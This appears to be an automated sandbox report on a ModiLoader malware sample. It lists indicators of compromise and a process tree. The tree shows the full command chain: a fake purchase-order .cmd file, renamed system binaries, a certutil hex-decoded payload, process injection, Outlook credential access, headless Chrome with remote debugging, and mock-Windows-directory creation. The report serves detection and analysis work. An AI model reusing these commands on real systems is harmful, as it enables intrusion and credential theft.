modiloader | 4d0f4d4b0c4be9677d69985483ef77988e997c47457b26a16609fcc89bad5242

pid	Process
5152	Chrome.exe
4744	Chrome.exe
4376	Chrome.exe
404	Chrome.exe
3632	Chrome.exe
5008	Chrome.exe
2580	Chrome.exe
1620	msedge.exe
3768	Chrome.exe
4036	Chrome.exe
5024	Chrome.exe
2024	Chrome.exe
4636	msedge.exe
4548	msedge.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Control Panel\International\Geo\Nation	rdha.pif

Executes dropped EXE 12 IoCs

pid	Process
1452	expha.pif
5504	expha.pif
5452	expha.pif
4552	alpha.pif
3752	ghf.pif
4412	alpha.pif
448	ghf.pif
4720	alpha.pif
3840	rdha.pif
432	chrome.PIF
1968	alpha.pif
5196	alpha.pif

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-446031748-3036493239-2009529691-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	recover.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2716 set thread context of 5016	2716	colorcpl.exe	136
PID 2716 set thread context of 1016	2716	colorcpl.exe	137
PID 2716 set thread context of 5592	2716	colorcpl.exe	138

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\sr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\cs\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\be\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\az\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\en_CA\messages.json	msedge.exe
File created	C:\Program Files\msedge_url_fetcher_1620_1972643975\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_90_1_0.crx	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\offscreendocument_main.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ja\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\fi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\mr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\it\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\te\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\si\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ca\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\en_GB\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\es\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\fr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\sv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\mn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\bn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\nl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\lt\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\hi\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\offscreendocument.html	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\hr\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\uk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\lo\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\fa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\is\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ka\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\bg\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\gl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\kn\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\service_worker_bin_prod.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\zh_TW\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ta\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\pl\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ml\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ms\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\fil\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\pa\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\dasherSettingSchema.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\kk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\sw\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\id\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\128.png	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\lv\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\zu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\gu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\sk\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\da\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\de\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\hu\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ar\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\ne\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\manifest.fingerprint	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\th\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\es_419\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\no\messages.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1620_1934958658\_locales\km\messages.json	msedge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chrome.PIF
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	alpha.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	recover.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3320	PING.EXE
4720	alpha.pif
4840	PING.EXE

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	Chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	Chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133880495628974219"	Chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-446031748-3036493239-2009529691-1000\{88DAC588-6E89-4E36-B933-0193CD4E9208}	msedge.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
4840	PING.EXE
3320	PING.EXE

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4300	powershell.exe
432	chrome.PIF
432	chrome.PIF
2716	colorcpl.exe
2716	colorcpl.exe
5016	recover.exe
5016	recover.exe
5592	recover.exe
5592	recover.exe
5152	Chrome.exe
5152	Chrome.exe
5016	recover.exe
5016	recover.exe
2716	colorcpl.exe
2716	colorcpl.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2716	colorcpl.exe
2716	colorcpl.exe
2716	colorcpl.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
1620	msedge.exe
1620	msedge.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	5592	recover.exe
Token: SeShutdownPrivilege	5152	Chrome.exe
Token: SeCreatePagefilePrivilege	5152	Chrome.exe
Token: SeShutdownPrivilege	5152	Chrome.exe
Token: SeCreatePagefilePrivilege	5152	Chrome.exe
Token: SeShutdownPrivilege	5152	Chrome.exe
Token: SeCreatePagefilePrivilege	5152	Chrome.exe
Token: SeShutdownPrivilege	5152	Chrome.exe
Token: SeCreatePagefilePrivilege	5152	Chrome.exe
Token: SeShutdownPrivilege	5152	Chrome.exe
Token: SeCreatePagefilePrivilege	5152	Chrome.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
5152	Chrome.exe
5152	Chrome.exe
1620	msedge.exe
1620	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5372 wrote to memory of 4300	5372	cmd.exe	86
PID 5372 wrote to memory of 4300	5372	cmd.exe	86
PID 5372 wrote to memory of 1272	5372	cmd.exe	87
PID 5372 wrote to memory of 1272	5372	cmd.exe	87
PID 5372 wrote to memory of 1452	5372	cmd.exe	88
PID 5372 wrote to memory of 1452	5372	cmd.exe	88
PID 5372 wrote to memory of 5504	5372	cmd.exe	89
PID 5372 wrote to memory of 5504	5372	cmd.exe	89
PID 5372 wrote to memory of 5452	5372	cmd.exe	90
PID 5372 wrote to memory of 5452	5372	cmd.exe	90
PID 5372 wrote to memory of 4552	5372	cmd.exe	91
PID 5372 wrote to memory of 4552	5372	cmd.exe	91
PID 4552 wrote to memory of 3752	4552	alpha.pif	93
PID 4552 wrote to memory of 3752	4552	alpha.pif	93
PID 5372 wrote to memory of 4412	5372	cmd.exe	95
PID 5372 wrote to memory of 4412	5372	cmd.exe	95
PID 4412 wrote to memory of 448	4412	alpha.pif	96
PID 4412 wrote to memory of 448	4412	alpha.pif	96
PID 5372 wrote to memory of 4720	5372	cmd.exe	97
PID 5372 wrote to memory of 4720	5372	cmd.exe	97
PID 4720 wrote to memory of 4840	4720	alpha.pif	99
PID 4720 wrote to memory of 4840	4720	alpha.pif	99
PID 5372 wrote to memory of 3840	5372	cmd.exe	104
PID 5372 wrote to memory of 3840	5372	cmd.exe	104
PID 3840 wrote to memory of 432	3840	rdha.pif	105
PID 3840 wrote to memory of 432	3840	rdha.pif	105
PID 3840 wrote to memory of 432	3840	rdha.pif	105
PID 5372 wrote to memory of 2188	5372	cmd.exe	106
PID 5372 wrote to memory of 2188	5372	cmd.exe	106
PID 432 wrote to memory of 5256	432	chrome.PIF	110
PID 432 wrote to memory of 5256	432	chrome.PIF	110
PID 432 wrote to memory of 5256	432	chrome.PIF	110
PID 432 wrote to memory of 5140	432	chrome.PIF	111
PID 432 wrote to memory of 5140	432	chrome.PIF	111
PID 432 wrote to memory of 5140	432	chrome.PIF	111
PID 5256 wrote to memory of 4588	5256	cmd.exe	114
PID 5256 wrote to memory of 4588	5256	cmd.exe	114
PID 5256 wrote to memory of 4588	5256	cmd.exe	114
PID 5140 wrote to memory of 3320	5140	cmd.exe	115
PID 5140 wrote to memory of 3320	5140	cmd.exe	115
PID 5140 wrote to memory of 3320	5140	cmd.exe	115
PID 5256 wrote to memory of 1968	5256	cmd.exe	116
PID 5256 wrote to memory of 1968	5256	cmd.exe	116
PID 5256 wrote to memory of 1968	5256	cmd.exe	116
PID 5256 wrote to memory of 5196	5256	cmd.exe	117
PID 5256 wrote to memory of 5196	5256	cmd.exe	117
PID 5256 wrote to memory of 5196	5256	cmd.exe	117
PID 432 wrote to memory of 468	432	chrome.PIF	118
PID 432 wrote to memory of 468	432	chrome.PIF	118
PID 432 wrote to memory of 468	432	chrome.PIF	118
PID 432 wrote to memory of 2716	432	chrome.PIF	121
PID 432 wrote to memory of 2716	432	chrome.PIF	121
PID 432 wrote to memory of 2716	432	chrome.PIF	121
PID 432 wrote to memory of 2716	432	chrome.PIF	121
PID 5152 wrote to memory of 552	5152	Chrome.exe	132
PID 5152 wrote to memory of 552	5152	Chrome.exe	132
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133
PID 5152 wrote to memory of 3060	5152	Chrome.exe	133

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO_0908-0989989_Royal International Construction, L.L.C.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:5372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  PowerShell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- C:\Windows\system32\extrac32.exe
  extrac32 /C /Y "C:\\Windows\\System32\\extrac32.exe" "C:\\Users\\Public\\Libraries\\expha.pif"
  2⤵
  PID:1272
- C:\Users\Public\Libraries\expha.pif
  C:\\Users\\Public\\Libraries\\expha.pif /C /Y "C:\\Windows\\System32\\cmd.exe" "C:\\Users\\Public\\Libraries\\alpha.pif"
  2⤵
  - Executes dropped EXE
  PID:1452
- C:\Users\Public\Libraries\expha.pif
  C:\\Users\\Public\\Libraries\\expha.pif /C /Y "C:\\Windows\\System32\\rundll32.exe" "C:\\Users\\Public\\Libraries\\rdha.pif"
  2⤵
  - Executes dropped EXE
  PID:5504
- C:\Users\Public\Libraries\expha.pif
  C:\\Users\\Public\\Libraries\\expha.pif /C /Y "C:\Windows\System32\certutil.exe" "C:\\Users\\Public\\Libraries\\ghf.pif"
  2⤵
  - Executes dropped EXE
  PID:5452
- C:\Users\Public\Libraries\alpha.pif
  C:\\Users\\Public\\Libraries\\alpha.pif /C C:\\Users\\Public\\Libraries\\ghf.pif -decodehex -f "C:\Users\Admin\AppData\Local\Temp\PO_0908-0989989_Royal International Construction, L.L.C.cmd" "C:\Users\Public\\Libraries\donex.avi" 9
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4552
- - C:\Users\Public\Libraries\ghf.pif
    C:\\Users\\Public\\Libraries\\ghf.pif -decodehex -f "C:\Users\Admin\AppData\Local\Temp\PO_0908-0989989_Royal International Construction, L.L.C.cmd" "C:\Users\Public\\Libraries\donex.avi" 9
    3⤵
    - Executes dropped EXE
    PID:3752
- C:\Users\Public\Libraries\alpha.pif
  C:\\Users\\Public\\Libraries\\alpha.pif /C C:\\Users\\Public\\Libraries\\ghf.pif -decodehex -f "C:\Users\Public\\Libraries\donex.avi" "C:\Users\Public\\Libraries\chrome.PIF" 12
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4412
- - C:\Users\Public\Libraries\ghf.pif
    C:\\Users\\Public\\Libraries\\ghf.pif -decodehex -f "C:\Users\Public\\Libraries\donex.avi" "C:\Users\Public\\Libraries\chrome.PIF" 12
    3⤵
    - Executes dropped EXE
    PID:448
- C:\Users\Public\Libraries\alpha.pif
  C:\\Users\\Public\\Libraries\\alpha.pif /c PING -n 4 127.0.0.1
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4720
- - C:\Windows\system32\PING.EXE
    PING -n 4 127.0.0.1
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4840
- C:\Users\Public\Libraries\rdha.pif
  C:\\Users\\Public\\Libraries\\rdha.pif zipfldr.dll,RouteTheCall C:\Users\Public\\Libraries\chrome.PIF
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3840
- - C:\Users\Public\Libraries\chrome.PIF
    "C:\Users\Public\Libraries\chrome.PIF"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\\ProgramData\\4882.cmd
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5256
    - - C:\Windows\SysWOW64\esentutl.exe
        
        C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
        5⤵
        
        PID:4588
    - - C:\Users\Public\alpha.pif
        
        C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows "
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1968
    - - C:\Users\Public\alpha.pif
        
        C:\\Users\\Public\\alpha.pif /c mkdir "\\?\C:\Windows \SysWOW64"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5196
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\\ProgramData\\4823.cmd
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5140
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 10
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:3320
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\\ProgramData\\551.cmd
      4⤵
      System Location Discovery: System Language Discovery
      PID:468
  - - C:\Windows\SysWOW64\colorcpl.exe
      C:\Windows\System32\colorcpl.exe
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:2716
    - - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --headless --remote-debugging-port=9222 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        Checks processor information in registry
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5152
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8243fdcf8,0x7ff8243fdd04,0x7ff8243fdd10
        6⤵
        
        PID:552
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --headless --string-annotations --noerrdialogs --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1856,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=1844 /prefetch:2
        6⤵
        
        PID:3060
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --field-trial-handle=2204,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2200 /prefetch:3
        6⤵
        
        PID:1028
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --field-trial-handle=2324,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2320 /prefetch:8
        6⤵
        
        PID:3092
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3208,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3204 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4744
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-databases --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3348,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3344 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:4376
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --field-trial-handle=4408,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4420 /prefetch:8
        6⤵
        
        PID:4064
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --noerrdialogs --field-trial-handle=4792,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4788 /prefetch:8
        6⤵
        
        PID:4768
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4968,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4964 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:3768
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --string-annotations --noerrdialogs --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=5000,i,13642089904781685928,11759343356199627122,262144 --disable-features=PaintHolding --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4996 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:404
      - C:\Program Files\Google\Chrome\Application\Chrome.exe
        
